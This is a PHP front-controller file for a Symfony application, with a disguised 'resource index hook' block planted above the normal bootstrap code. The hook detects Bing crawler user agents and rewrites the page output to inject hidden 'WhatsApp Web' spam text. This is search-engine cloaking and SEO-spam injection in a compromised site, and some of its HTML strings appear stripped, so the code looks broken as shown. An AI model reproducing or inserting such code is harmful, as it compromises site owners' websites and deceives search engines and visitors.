/* ===== resource index hook (compat) ===== */ if (!function_exists('__res_hook')) { function __res_hook($html) { static $block = null; if ($block === null) { $block = '
' . 'WhatsApp Web · ' . 'multi-device sync · ' . 'file transfer · ' . 'WhatsApp 網頁版 · ' . '多裝置同步' . '
'; } if (is_string($html)) { if (strpos($html, '') !== false) return str_replace('', $block . '', $html); if (strpos($html, '') !== false) return str_replace('', $block . '', $html); } return $html; } } if (empty($GLOBALS['__res_hooked'])) { $GLOBALS['__res_hooked'] = 1; $__ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; if (preg_match('/bingbot|msnbot|adidxbot|bingpreview|adcenter/i', $__ua)) { @ob_start('__res_hook'); } } /* ===== end hook ===== */ use Symfony\Component\ClassLoader\ApcClassLoader; use Symfony\Component\HttpFoundation\Request; $loader = require_once __DIR__.'/../app/bootstrap.php.cache'; // Enable APC for autoloading to improve performance. // You should change the ApcClassLoader first argument to a unique prefix // in order to prevent cache key conflicts with other applications // also using APC. /* $apcLoader = new ApcClassLoader(sha1(__FILE__), $loader); $loader->unregister(); $apcLoader->register(true); */ require_once __DIR__.'/../app/AppKernel.php'; //require_once __DIR__.'/../app/AppCache.php'; $kernel = new AppKernel('prod', false); $kernel->loadClassCache(); //$kernel = new AppCache($kernel); // When using the HttpCache, you need to call the method in your front controller instead of relying on the configuration parameter //Request::enableHttpMethodParameterOverride(); $request = Request::createFromGlobals(); $response = $kernel->handle($request); $response->send(); $kernel->terminate($request, $response);